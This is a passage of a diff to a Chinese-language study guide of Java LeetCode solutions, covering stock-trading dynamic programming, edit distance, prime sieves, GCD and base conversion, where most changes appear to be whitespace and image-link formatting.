-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int[] maximum = new int[target + 1];
-    maximum[0] = 1;
-    Arrays.sort(nums);
-    for (int i = 1; i <= target; i++) {
-        for (int j = 0; j < nums.length && nums[j] <= i; j++) {
-            maximum[i] += maximum[i - nums[j]];
-        }
-    }
-    return maximum[target];
+public int combinationSum4(int[] nums, int target) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int[] maximum = new int[target + 1];
+    maximum[0] = 1;
+    Arrays.sort(nums);
+    for (int i = 1; i <= target; i++) {
+        for (int j = 0; j < nums.length && nums[j] <= i; j++) {
+            maximum[i] += maximum[i - nums[j]];
+        }
+    }
+    return maximum[target];
 }
 ```
 
-### 股票交易
+### 股票交易
 
-**需要冷却期的股票交易** 
+**需要冷却期的股票交易**
 
-[309. Best Time to Buy and Sell Stock with Cooldown(Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)
+[309. Best Time to Buy and Sell Stock with Cooldown(Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)
 
 题目描述：交易之后需要有一天的冷却时间。
 
-<div align="center"> <img src="pics/a3da4342-078b-43e2-b748-7e71bec50dc4.png"/> </div><br>
+![](index_files/a3da4342-078b-43e2-b748-7e71bec50dc4.png)
 
 ```java
-public int maxProfit(int[] prices) {
-    if (prices == null || prices.length == 0) {
-        return 0;
-    }
-    int N = prices.length;
-    int[] buy = new int[N];
-    int[] s1 = new int[N];
-    int[] sell = new int[N];
-    int[] s2 = new int[N];
-    s1[0] = buy[0] = -prices[0];
-    sell[0] = s2[0] = 0;
-    for (int i = 1; i < N; i++) {
-        buy[i] = s2[i - 1] - prices[i];
-        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
-        sell[i] = Math.max(buy[i - 1], s1[i - 1]) + prices[i];
-        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
-    }
-    return Math.max(sell[N - 1], s2[N - 1]);
+public int maxProfit(int[] prices) {
+    if (prices == null || prices.length == 0) {
+        return 0;
+    }
+    int N = prices.length;
+    int[] buy = new int[N];
+    int[] s1 = new int[N];
+    int[] sell = new int[N];
+    int[] s2 = new int[N];
+    s1[0] = buy[0] = -prices[0];
+    sell[0] = s2[0] = 0;
+    for (int i = 1; i < N; i++) {
+        buy[i] = s2[i - 1] - prices[i];
+        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
+        sell[i] = Math.max(buy[i - 1], s1[i - 1]) + prices[i];
+        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
+    }
+    return Math.max(sell[N - 1], s2[N - 1]);
 }
 ```
 
-**需要交易费用的股票交易** 
+**需要交易费用的股票交易**
 
-[714. Best Time to Buy and Sell Stock with Transaction Fee (Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/description/)
+[714. Best Time to Buy and Sell Stock with Transaction Fee (Medium)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/description/)
 
 ```html
-Input: prices = [1, 3, 2, 8, 4, 9], fee = 2
-Output: 8
-Explanation: The maximum profit can be achieved by:
-Buying at prices[0] = 1
-Selling at prices[3] = 8
-Buying at prices[4] = 4
-Selling at prices[5] = 9
-The total profit is ((8 - 1) - 2) + ((9 - 4) - 2) = 8.
+Input: prices = [1, 3, 2, 8, 4, 9], fee = 2
+Output: 8
+Explanation: The maximum profit can be achieved by:
+Buying at prices[0] = 1
+Selling at prices[3] = 8
+Buying at prices[4] = 4
+Selling at prices[5] = 9
+The total profit is ((8 - 1) - 2) + ((9 - 4) - 2) = 8.
 ```
 
 题目描述：每交易一次，都要支付一定的费用。
 
-<div align="center"> <img src="pics/61942711-45a0-4e11-bbc9-434e31436f33.png"/> </div><br>
+![](index_files/61942711-45a0-4e11-bbc9-434e31436f33.png)
 
 ```java
-public int maxProfit(int[] prices, int fee) {
-    int N = prices.length;
-    int[] buy = new int[N];
-    int[] s1 = new int[N];
-    int[] sell = new int[N];
-    int[] s2 = new int[N];
-    s1[0] = buy[0] = -prices[0];
-    sell[0] = s2[0] = 0;
-    for (int i = 1; i < N; i++) {
-        buy[i] = Math.max(sell[i - 1], s2[i - 1]) - prices[i];
-        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
-        sell[i] = Math.max(buy[i - 1], s1[i - 1]) - fee + prices[i];
-        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
-    }
-    return Math.max(sell[N - 1], s2[N - 1]);
+public int maxProfit(int[] prices, int fee) {
+    int N = prices.length;
+    int[] buy = new int[N];
+    int[] s1 = new int[N];
+    int[] sell = new int[N];
+    int[] s2 = new int[N];
+    s1[0] = buy[0] = -prices[0];
+    sell[0] = s2[0] = 0;
+    for (int i = 1; i < N; i++) {
+        buy[i] = Math.max(sell[i - 1], s2[i - 1]) - prices[i];
+        s1[i] = Math.max(buy[i - 1], s1[i - 1]);
+        sell[i] = Math.max(buy[i - 1], s1[i - 1]) - fee + prices[i];
+        s2[i] = Math.max(s2[i - 1], sell[i - 1]);
+    }
+    return Math.max(sell[N - 1], s2[N - 1]);
 }
 ```
 
 
-**只能进行两次的股票交易** 
+**只能进行两次的股票交易**
 
-[123. Best Time to Buy and Sell Stock III (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/description/)
+[123. Best Time to Buy and Sell Stock III (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/description/)
 
 ```java
-public int maxProfit(int[] prices) {
-    int firstBuy = Integer.MIN_VALUE, firstSell = 0;
-    int secondBuy = Integer.MIN_VALUE, secondSell = 0;
-    for (int curPrice : prices) {
-        if (firstBuy < -curPrice) {
-            firstBuy = -curPrice;
-        }
-        if (firstSell < firstBuy + curPrice) {
-            firstSell = firstBuy + curPrice;
-        }
-        if (secondBuy < firstSell - curPrice) {
-            secondBuy = firstSell - curPrice;
-        }
-        if (secondSell < secondBuy + curPrice) {
-            secondSell = secondBuy + curPrice;
-        }
-    }
-    return secondSell;
+public int maxProfit(int[] prices) {
+    int firstBuy = Integer.MIN_VALUE, firstSell = 0;
+    int secondBuy = Integer.MIN_VALUE, secondSell = 0;
+    for (int curPrice : prices) {
+        if (firstBuy < -curPrice) {
+            firstBuy = -curPrice;
+        }
+        if (firstSell < firstBuy + curPrice) {
+            firstSell = firstBuy + curPrice;
+        }
+        if (secondBuy < firstSell - curPrice) {
+            secondBuy = firstSell - curPrice;
+        }
+        if (secondSell < secondBuy + curPrice) {
+            secondSell = secondBuy + curPrice;
+        }
+    }
+    return secondSell;
 }
 ```
 
-**只能进行 k 次的股票交易** 
+**只能进行 k 次的股票交易**
 
-[188. Best Time to Buy and Sell Stock IV (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/description/)
+[188. Best Time to Buy and Sell Stock IV (Hard)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/description/)
 
 ```java
-public int maxProfit(int k, int[] prices) {
-    int n = prices.length;
-    if (k >= n / 2) {   // 这种情况下该问题退化为普通的股票交易问题
-        int maxProfit = 0;
-        for (int i = 1; i < n; i++) {
-            if (prices[i] > prices[i - 1]) {
-                maxProfit += prices[i] - prices[i - 1];
-            }
-        }
-        return maxProfit;
-    }
-    int[][] maxProfit = new int[k + 1][n];
-    for (int i = 1; i <= k; i++) {
-        int localMax = maxProfit[i - 1][0] - prices[0];
-        for (int j = 1; j < n; j++) {
-            maxProfit[i][j] = Math.max(maxProfit[i][j - 1], prices[j] + localMax);
-            localMax = Math.max(localMax, maxProfit[i - 1][j] - prices[j]);
-        }
-    }
-    return maxProfit[k][n - 1];
+public int maxProfit(int k, int[] prices) {
+    int n = prices.length;
+    if (k >= n / 2) {   // 这种情况下该问题退化为普通的股票交易问题
+        int maxProfit = 0;
+        for (int i = 1; i < n; i++) {
+            if (prices[i] > prices[i - 1]) {
+                maxProfit += prices[i] - prices[i - 1];
+            }
+        }
+        return maxProfit;
+    }
+    int[][] maxProfit = new int[k + 1][n];
+    for (int i = 1; i <= k; i++) {
+        int localMax = maxProfit[i - 1][0] - prices[0];
+        for (int j = 1; j < n; j++) {
+            maxProfit[i][j] = Math.max(maxProfit[i][j - 1], prices[j] + localMax);
+            localMax = Math.max(localMax, maxProfit[i - 1][j] - prices[j]);
+        }
+    }
+    return maxProfit[k][n - 1];
 }
 ```
 
-### 字符串编辑
+### 字符串编辑
 
-**删除两个字符串的字符使它们相等** 
+**删除两个字符串的字符使它们相等**
 
-[583. Delete Operation for Two Strings (Medium)](https://leetcode.com/problems/delete-operation-for-two-strings/description/)
+[583. Delete Operation for Two Strings (Medium)](https://leetcode.com/problems/delete-operation-for-two-strings/description/)
 
 ```html
-Input: "sea", "eat"
-Output: 2
-Explanation: You need one step to make "sea" to "ea" and another step to make "eat" to "ea".
+Input: "sea", "eat"
+Output: 2
+Explanation: You need one step to make "sea" to "ea" and another step to make "eat" to "ea".
 ```
 
 可以转换为求两个字符串的最长公共子序列问题。
 
 ```java
-public int minDistance(String word1, String word2) {
-    int m = word1.length(), n = word2.length();
-    int[][] dp = new int[m + 1][n + 1];
-    for (int i = 1; i <= m; i++) {
-        for (int j = 1; j <= n; j++) {
-            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
-                dp[i][j] = dp[i - 1][j - 1] + 1;
-            } else {
-                dp[i][j] = Math.max(dp[i][j - 1], dp[i - 1][j]);
-            }
-        }
-    }
-    return m + n - 2 * dp[m][n];
+public int minDistance(String word1, String word2) {
+    int m = word1.length(), n = word2.length();
+    int[][] dp = new int[m + 1][n + 1];
+    for (int i = 1; i <= m; i++) {
+        for (int j = 1; j <= n; j++) {
+            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
+                dp[i][j] = dp[i - 1][j - 1] + 1;
+            } else {
+                dp[i][j] = Math.max(dp[i][j - 1], dp[i - 1][j]);
+            }
+        }
+    }
+    return m + n - 2 * dp[m][n];
 }
 ```
 
-**编辑距离** 
+**编辑距离**
 
-[72. Edit Distance (Hard)](https://leetcode.com/problems/edit-distance/description/)
+[72. Edit Distance (Hard)](https://leetcode.com/problems/edit-distance/description/)
 
 ```html
-Example 1:
+Example 1:
 
-Input: word1 = "horse", word2 = "ros"
-Output: 3
+Input: word1 = "horse", word2 = "ros"
+Output: 3
 Explanation:
-horse -> rorse (replace 'h' with 'r')
-rorse -> rose (remove 'r')
-rose -> ros (remove 'e')
-Example 2:
+horse -> rorse (replace 'h' with 'r')
+rorse -> rose (remove 'r')
+rose -> ros (remove 'e')
+Example 2:
 
-Input: word1 = "intention", word2 = "execution"
-Output: 5
+Input: word1 = "intention", word2 = "execution"
+Output: 5
 Explanation:
-intention -> inention (remove 't')
-inention -> enention (replace 'i' with 'e')
-enention -> exention (replace 'n' with 'x')
-exention -> exection (replace 'n' with 'c')
-exection -> execution (insert 'u')
+intention -> inention (remove 't')
+inention -> enention (replace 'i' with 'e')
+enention -> exention (replace 'n' with 'x')
+exention -> exection (replace 'n' with 'c')
+exection -> execution (insert 'u')
 ```
 
 题目描述：修改一个字符串成为另一个字符串，使得修改次数最少。一次修改操作包括：插入一个字符、删除一个字符、替换一个字符。
 
 ```java
-public int minDistance(String word1, String word2) {
-    if (word1 == null || word2 == null) {
-        return 0;
-    }
-    int m = word1.length(), n = word2.length();
-    int[][] dp = new int[m + 1][n + 1];
-    for (int i = 1; i <= m; i++) {
-        dp[i][0] = i;
-    }
-    for (int i = 1; i <= n; i++) {
-        dp[0][i] = i;
-    }
-    for (int i = 1; i <= m; i++) {
-        for (int j = 1; j <= n; j++) {
-            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
-                dp[i][j] = dp[i - 1][j - 1];
-            } else {
-                dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i][j - 1], dp[i - 1][j])) + 1;
-            }
-        }
-    }
-    return dp[m][n];
+public int minDistance(String word1, String word2) {
+    if (word1 == null || word2 == null) {
+        return 0;
+    }
+    int m = word1.length(), n = word2.length();
+    int[][] dp = new int[m + 1][n + 1];
+    for (int i = 1; i <= m; i++) {
+        dp[i][0] = i;
+    }
+    for (int i = 1; i <= n; i++) {
+        dp[0][i] = i;
+    }
+    for (int i = 1; i <= m; i++) {
+        for (int j = 1; j <= n; j++) {
+            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
+                dp[i][j] = dp[i - 1][j - 1];
+            } else {
+                dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i][j - 1], dp[i - 1][j])) + 1;
+            }
+        }
+    }
+    return dp[m][n];
 }
 ```
 
-**复制粘贴字符** 
+**复制粘贴字符**
 
-[650. 2 Keys Keyboard (Medium)](https://leetcode.com/problems/2-keys-keyboard/description/)
+[650. 2 Keys Keyboard (Medium)](https://leetcode.com/problems/2-keys-keyboard/description/)
 
-题目描述：最开始只有一个字符 A，问需要多少次操作能够得到 n 个字符 A，每次操作可以复制当前所有的字符，或者粘贴。
+题目描述：最开始只有一个字符 A，问需要多少次操作能够得到 n 个字符 A，每次操作可以复制当前所有的字符，或者粘贴。
 
 ```
-Input: 3
-Output: 3
+Input: 3
+Output: 3
 Explanation:
-Intitally, we have one character 'A'.
-In step 1, we use Copy All operation.
-In step 2, we use Paste operation to get 'AA'.
-In step 3, we use Paste operation to get 'AAA'.
+Intitally, we have one character 'A'.
+In step 1, we use Copy All operation.
+In step 2, we use Paste operation to get 'AA'.
+In step 3, we use Paste operation to get 'AAA'.
 ```
 
 ```java
-public int minSteps(int n) {
-    if (n == 1) return 0;
-    for (int i = 2; i <= Math.sqrt(n); i++) {
-        if (n % i == 0) return i + minSteps(n / i);
-    }
-    return n;
+public int minSteps(int n) {
+    if (n == 1) return 0;
+    for (int i = 2; i <= Math.sqrt(n); i++) {
+        if (n % i == 0) return i + minSteps(n / i);
+    }
+    return n;
 }
 ```
 
 ```java
-public int minSteps(int n) {
-    int[] dp = new int[n + 1];
-    int h = (int) Math.sqrt(n);
-    for (int i = 2; i <= n; i++) {
-        dp[i] = i;
-        for (int j = 2; j <= h; j++) {
-            if (i % j == 0) {
-                dp[i] = dp[j] + dp[i / j];
-                break;
-            }
-        }
-    }
-    return dp[n];
+public int minSteps(int n) {
+    int[] dp = new int[n + 1];
+    int h = (int) Math.sqrt(n);
+    for (int i = 2; i <= n; i++) {
+        dp[i] = i;
+        for (int j = 2; j <= h; j++) {
+            if (i % j == 0) {
+                dp[i] = dp[j] + dp[i / j];
+                break;
+            }
+        }
+    }
+    return dp[n];
 }
 ```
 
-## 数学
+## 数学
 
-### 素数
+### 素数
 
-**素数分解** 
+**素数分解**
 
-每一个数都可以分解成素数的乘积，例如 84 = 2<sup>2</sup> \* 3<sup>1</sup> \* 5<sup>0</sup> \* 7<sup>1</sup> \* 11<sup>0</sup> \* 13<sup>0</sup> \* 17<sup>0</sup> \* …
+每一个数都可以分解成素数的乘积，例如 84 = 2<sup>2</sup> \* 3<sup>1</sup> \* 5<sup>0</sup> \* 7<sup>1</sup> \* 11<sup>0</sup> \* 13<sup>0</sup> \* 17<sup>0</sup> \* …
 
-**整除** 
+**整除**
 
-令 x = 2<sup>m0</sup> \* 3<sup>m1</sup> \* 5<sup>m2</sup> \* 7<sup>m3</sup> \* 11<sup>m4</sup> \* …
+令 x = 2<sup>m0</sup> \* 3<sup>m1</sup> \* 5<sup>m2</sup> \* 7<sup>m3</sup> \* 11<sup>m4</sup> \* …
 
-令 y = 2<sup>n0</sup> \* 3<sup>n1</sup> \* 5<sup>n2</sup> \* 7<sup>n3</sup> \* 11<sup>n4</sup> \* …
+令 y = 2<sup>n0</sup> \* 3<sup>n1</sup> \* 5<sup>n2</sup> \* 7<sup>n3</sup> \* 11<sup>n4</sup> \* …
 
-如果 x 整除 y（y mod x == 0），则对于所有 i，mi <= ni。
+如果 x 整除 y（y mod x == 0），则对于所有 i，mi <= ni。
 
-**最大公约数最小公倍数** 
+**最大公约数最小公倍数**
 
-x 和 y 的最大公约数为：gcd(x,y) =  2<sup>min(m0,n0)</sup> \* 3<sup>min(m1,n1)</sup> \* 5<sup>min(m2,n2)</sup> \* ...
+x 和 y 的最大公约数为：gcd(x,y) =  2<sup>min(m0,n0)</sup> \* 3<sup>min(m1,n1)</sup> \* 5<sup>min(m2,n2)</sup> \* ...
 
-x 和 y 的最小公倍数为：lcm(x,y) =  2<sup>max(m0,n0)</sup> \* 3<sup>max(m1,n1)</sup> \* 5<sup>max(m2,n2)</sup> \* ...
+x 和 y 的最小公倍数为：lcm(x,y) =  2<sup>max(m0,n0)</sup> \* 3<sup>max(m1,n1)</sup> \* 5<sup>max(m2,n2)</sup> \* ...
 
-**生成素数序列** 
+**生成素数序列**
 
-[204. Count Primes (Easy)](https://leetcode.com/problems/count-primes/description/)
+[204. Count Primes (Easy)](https://leetcode.com/problems/count-primes/description/)
 
 埃拉托斯特尼筛法在每次找到一个素数时，将能被素数整除的数排除掉。
 
 ```java
-public int countPrimes(int n) {
-    boolean[] notPrimes = new boolean[n + 1];
-    int count = 0;
-    for (int i = 2; i < n; i++) {
-        if (notPrimes[i]) {
-            continue;
-        }
-        count++;
-        // 从 i * i 开始，因为如果 k < i，那么 k * i 在之前就已经被去除过了
-        for (long j = (long) (i) * i; j < n; j += i) {
-            notPrimes[(int) j] = true;
-        }
-    }
-    return count;
+public int countPrimes(int n) {
+    boolean[] notPrimes = new boolean[n + 1];
+    int count = 0;
+    for (int i = 2; i < n; i++) {
+        if (notPrimes[i]) {
+            continue;
+        }
+        count++;
+        // 从 i * i 开始，因为如果 k < i，那么 k * i 在之前就已经被去除过了
+        for (long j = (long) (i) * i; j < n; j += i) {
+            notPrimes[(int) j] = true;
+        }
+    }
+    return count;
 }
 ```
 
-### 最大公约数
+### 最大公约数
 
 ```java
-int gcd(int a, int b) {
-    return b == 0 ? a : gcd(b, a % b);
+int gcd(int a, int b) {
+    return b == 0 ? a : gcd(b, a % b);
 }
 ```
 
 最小公倍数为两数的乘积除以最大公约数。
 
 ```java
-int lcm(int a, int b) {
-    return a * b / gcd(a, b);
+int lcm(int a, int b) {
+    return a * b / gcd(a, b);
 }
 ```
 
-**使用位操作和减法求解最大公约数** 
+**使用位操作和减法求解最大公约数**
 
 [编程之美：2.7](#)
 
-对于 a 和 b 的最大公约数 f(a, b)，有：
+对于 a 和 b 的最大公约数 f(a, b)，有：
 
-- 如果 a 和 b 均为偶数，f(a, b) = 2\*f(a/2, b/2);
-- 如果 a 是偶数 b 是奇数，f(a, b) = f(a/2, b);
-- 如果 b 是偶数 a 是奇数，f(a, b) = f(a, b/2);
-- 如果 a 和 b 均为奇数，f(a, b) = f(b, a-b);
+- 如果 a 和 b 均为偶数，f(a, b) = 2\*f(a/2, b/2);
+- 如果 a 是偶数 b 是奇数，f(a, b) = f(a/2, b);
+- 如果 b 是偶数 a 是奇数，f(a, b) = f(a, b/2);
+- 如果 a 和 b 均为奇数，f(a, b) = f(b, a-b);
 
-乘 2 和除 2 都可以转换为移位操作。
+乘 2 和除 2 都可以转换为移位操作。
 
 ```java
-public int gcd(int a, int b) {
-    if (a < b) {
-        return gcd(b, a);
-    }
-    if (b == 0) {
-        return a;
-    }
-    boolean isAEven = isEven(a), isBEven = isEven(b);
-    if (isAEven && isBEven) {
-        return 2 * gcd(a >> 1, b >> 1);
-    } else if (isAEven && !isBEven) {
-        return gcd(a >> 1, b);
-    } else if (!isAEven && isBEven) {
-        return gcd(a, b >> 1);
-    } else {
-        return gcd(b, a - b);
-    }
+public int gcd(int a, int b) {
+    if (a < b) {
+        return gcd(b, a);
+    }
+    if (b == 0) {
+        return a;
+    }
+    boolean isAEven = isEven(a), isBEven = isEven(b);
+    if (isAEven && isBEven) {
+        return 2 * gcd(a >> 1, b >> 1);
+    } else if (isAEven && !isBEven) {
+        return gcd(a >> 1, b);
+    } else if (!isAEven && isBEven) {
+        return gcd(a, b >> 1);
+    } else {
+        return gcd(b, a - b);
+    }
 }
 ```
 
-### 进制转换
+### 进制转换
 
-**7 进制** 
+**7 进制**
 
-[504. Base 7 (Easy)](https://leetcode.com/problems/base-7/description/)
+[504. Base 7 (Easy)](https://leetcode.com/problems/base-7/description/)
 
 ```java
-public String convertToBase7(int num) {
-    if (num == 0) {
-        return "0";
-    }
-    StringBuilder sb = new StringBuilder();
-    boolean isNegative = num < 0;
-    if (isNegative) {
-        num = -num;
-    }
-    while (num > 0) {
-        sb.append(num % 7);
-        num /= 7;
-    }
-    String ret = sb.reverse().toString();
-    return isNegative ? "-" + ret : ret;
+public String convertToBase7(int num) {
+    if (num == 0) {
+        return "0";
+    }
+    StringBuilder sb = new StringBuilder();
+    boolean isNegative = num < 0;
+    if (isNegative) {
+        num = -num;
+    }
+    while (num > 0) {
+        sb.append(num % 7);
+        num /= 7;
+    }
+    String ret = sb.reverse().toString();
+    return isNegative ? "-" + ret : ret;
 }
 ```
 
-Java 中 static String toString(int num, int radix) 可以将一个整数转换为 radix 进制表示的字符串。
+Java 中 static String toString(int num, int radix) 可以将一个整数转换为 radix 进制表示的字符串。
 
 ```java
-public String convertToBase7(int num) {
-    return Integer.toString(num, 7);
+public String convertToBase7(int num) {
+    return Integer.toString(num, 7);
 }
 ```
 
-**16 进制** 
+**16 进制**
 
-[405. Convert a Number to Hexadecimal (Easy)](https://leetcode.com/problems/convert-a-number-to-hexadecimal/description/)
+[405. Convert a Number to Hexadecimal (Easy)](https://leetcode.com/problems/convert-a-number-to-hexadecimal/description/)
 
 ```html
 Input:
@@ -3692,117 +3636,117 @@ Output:
 负数要用它的补码形式。
 
 ```java
-public String toHex(int num) {
-    char[] map = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
-    if (num == 0) return "0";
-    StringBuilder sb = new StringBuilder();
-    while (num != 0) {
-        sb.append(map[num & 0b1111]);
-        num >>>= 4; // 因为考虑的是补码形式，因此符号位就不能有特殊的意义，需要使用无符号右移，左边填 0
-    }
-    return sb.reverse().toString();
+public String toHex(int num) {
+    char[] map = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
+    if (num == 0) return "0";
+    StringBuilder sb = new StringBuilder();
+    while (num != 0) {
+        sb.append(map[num & 0b1111]);
+        num >>>= 4; // 因为考虑的是补码形式，因此符号位就不能有特殊的意义，需要使用无符号右移，左边填 0
+    }
+    return sb.reverse().toString();
 }
 ```
 
-**26 进制** 
+**26 进制**
 
-[168. Excel Sheet Column Title (Easy)](https://leetcode.com/problems/excel-sheet-column-title/description/)
+[168. Excel Sheet Column Title (Easy)](https://leetcode.com/problems/excel-sheet-column-title/description/)
 
 ```html
-1 -> A
-2 -> B
-3 -> C
+1 -> A
+2 -> B
+3 -> C
 ...
-26 -> Z
-27 -> AA
-28 -> AB
+26 -> Z
+27 -> AA
+28 -> AB
 ```
 
-因为是从 1 开始计算的，而不是从 0 开始，因此需要对 n 执行 -1 操作。
+因为是从 1 开始计算的，而不是从 0 开始，因此需要对 n 执行 -1 操作。
 
 ```java
-public String convertToTitle(int n) {
-    if (n == 0) {
-        return "";
-    }
-    n--;
-    return convertToTitle(n / 26) + (char) (n % 26 + 'A');
+public String convertToTitle(int n) {
+    if (n == 0) {
+        return "";
+    }
+    n--;
+    return convertToTitle(n / 26) + (char) (n % 26 + 'A');
 }
 ```
 
-### 阶乘
+### 阶乘
 
-**统计阶乘尾部有多少个 0** 
+**统计阶乘尾部有多少个 0**
 
-[172. Factorial Trailing Zeroes (Easy)](https://leetcode.com/problems/factorial-trailing-zeroes/description/)
+[172. Factorial Trailing Zeroes (Easy)](https://leetcode.com/problems/factorial-trailing-zeroes/description/)
 
-尾部的 0 由 2 * 5 得来，2 的数量明显多于 5 的数量，因此只要统计有多少个 5 即可。
+尾部的 0 由 2 * 5 得来，2 的数量明显多于 5 的数量，因此只要统计有多少个 5 即可。
 
-对于一个数 N，它所包含 5 的个数为：N/5 + N/5<sup>2</sup> + N/5<sup>3</sup> + ...，其中 N/5 表示不大于 N 的数中 5 的倍数贡献一个 5，N/5<sup>2</sup> 表示不大于 N 的数中 5<sup>2</sup> 的倍数再贡献一个 5 ...。
+对于一个数 N，它所包含 5 的个数为：N/5 + N/5<sup>2</sup> + N/5<sup>3</sup> + ...，其中 N/5 表示不大于 N 的数中 5 的倍数贡献一个 5，N/5<sup>2</sup> 表示不大于 N 的数中 5<sup>2</sup> 的倍数再贡献一个 5 ...。
 
 ```java
-public int trailingZeroes(int n) {
-    return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);
+public int trailingZeroes(int n) {
+    return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);
 }
 ```
 
-如果统计的是 N! 的二进制表示中最低位 1 的位置，只要统计有多少个 2 即可，该题目出自 [编程之美：2.2](#) 。和求解有多少个 5 一样，2 的个数为 N/2 + N/2<sup>2</sup> + N/2<sup>3</sup> + ...
+如果统计的是 N! 的二进制表示中最低位 1 的位置，只要统计有多少个 2 即可，该题目出自 [编程之美：2.2](#) 。和求解有多少个 5 一样，2 的个数为 N/2 + N/2<sup>2</sup> + N/2<sup>3</sup> + ...
 
-### 字符串加法减法
+### 字符串加法减法
 
-**二进制加法** 
+**二进制加法**
 
-[67. Add Binary (Easy)](https://leetcode.com/problems/add-binary/description/)
+[67. Add Binary (Easy)](https://leetcode.com/problems/add-binary/description/)
 
 ```html
-a = "11"
-b = "1"
-Return "100".
+a = "11"
+b = "1"
+Return "100".
 ```
 
 ```java
-public String addBinary(String a, String b) {
-    int i = a.length() - 1, j = b.length() - 1, carry = 0;
-    StringBuilder str = new StringBuilder();
-    while (carry == 1 || i >= 0 || j >= 0) {
-        if (i >= 0 && a.charAt(i--) == '1') {
-            carry++;
-        }
-        if (j >= 0 && b.charAt(j--) == '1') {
-            carry++;
-        }
-        str.append(carry % 2);
-        carry /= 2;
-    }
-    return str.reverse().toString();
+public String addBinary(String a, String b) {
+    int i = a.length() - 1, j = b.length() - 1, carry = 0;
+    StringBuilder str = new StringBuilder();
+    while (carry == 1 || i >= 0 || j >= 0) {
+        if (i >= 0 && a.charAt(i--) == '1') {
+            carry++;
+        }
+        if (j >= 0 && b.charAt(j--) == '1') {
+            carry++;
+        }
+        str.append(carry % 2);
+        carry /= 2;
+    }
+    return str.reverse().toString();
 }
 ```
 
-**字符串加法** 
+**字符串加法**
 
-[415. Add Strings (Easy)](https://leetcode.com/problems/add-strings/description/)
+[415. Add Strings (Easy)](https://leetcode.com/problems/add-strings/description/)
 
 字符串的值为非负整数。
 
 ```java
-public String addStrings(String num1, String num2) {
-    StringBuilder str = new StringBuilder();
-    int carry = 0, i = num1.length() - 1, j = num2.length() - 1;
-    while (carry == 1 || i >= 0 || j >= 0) {
-        int x = i < 0 ? 0 : num1.charAt(i--) - '0';
-        int y = j < 0 ? 0 : num2.charAt(j--) - '0';
-        str.append((x + y + carry) % 10);
-        carry = (x + y + carry) / 10;
-    }
-    return str.reverse().toString();
+public String addStrings(String num1, String num2) {
+    StringBuilder str = new StringBuilder();
+    int carry = 0, i = num1.length() - 1, j = num2.length() - 1;
+    while (carry == 1 || i >= 0 || j >= 0) {
+        int x = i < 0 ? 0 : num1.charAt(i--) - '0';
+        int y = j < 0 ? 0 : num2.charAt(j--) - '0';
+        str.append((x + y + carry) % 10);
+        carry = (x + y + carry) / 10;
+    }
+    return str.reverse().toString();
 }
 ```
 
-### 相遇问题
+### 相遇问题
 
-**改变数组元素使所有的数组元素都相等** 
+**改变数组元素使所有的数组元素都相等**
 
-[462. Minimum Moves to Equal Array Elements II (Medium)](https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/description/)
+[462. Minimum Moves to Equal Array Elements II (Medium)](https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/description/)
 
 ```html
 Input:
@@ -3812,1370 +3756,1370 @@ Output:
 2
 
 Explanation:
-Only two moves are needed (remember each move increments or decrements one element):
+Only two moves are needed (remember each move increments or decrements one element):
 
-[1,2,3]  =>  [2,2,3]  =>  [2,2,2]
+[1,2,3]  =>  [2,2,3]  =>  [2,2,2]
 ```
 
 每次可以对一个数组元素加一或者减一，求最小的改变次数。
 
 这是个典型的相遇问题，移动距离最小的方式是所有元素都移动到中位数。理由如下：
 
-设 m 为中位数。a 和 b 是 m 两边的两个元素，且 b > a。要使 a 和 b 相等，它们总共移动的次数为 b - a，这个值等于 (b - m) + (m - a)，也就是把这两个数移动到中位数的移动次数。
+设 m 为中位数。a 和 b 是 m 两边的两个元素，且 b > a。要使 a 和 b 相等，它们总共移动的次数为 b - a，这个值等于 (b - m) + (m - a)，也就是把这两个数移动到中位数的移动次数。
 
-设数组长度为 N，则可以找到 N/2 对 a 和 b 的组合，使它们都移动到 m 的位置。
+设数组长度为 N，则可以找到 N/2 对 a 和 b 的组合，使它们都移动到 m 的位置。
 
-**解法 1** 
+**解法 1**
 
 先排序，时间复杂度：O(NlogN)
 
 ```java
-public int minMoves2(int[] nums) {
-    Arrays.sort(nums);
-    int move = 0;
-    int l = 0, h = nums.length - 1;
-    while (l <= h) {
-        move += nums[h] - nums[l];
-        l++;
-        h--;
-    }
-    return move;
+public int minMoves2(int[] nums) {
+    Arrays.sort(nums);
+    int move = 0;
+    int l = 0, h = nums.length - 1;
+    while (l <= h) {
+        move += nums[h] - nums[l];
+        l++;
+        h--;
+    }
+    return move;
 }
 ```
 
-**解法 2** 
+**解法 2**
 
-使用快速选择找到中位数，时间复杂度 O(N)
+使用快速选择找到中位数，时间复杂度 O(N)
 
 ```java
-public int minMoves2(int[] nums) {
-    int move = 0;
-    int median = findKthSmallest(nums, nums.length / 2);
-    for (int num : nums) {
-        move += Math.abs(num - median);
-    }
-    return move;
+public int minMoves2(int[] nums) {
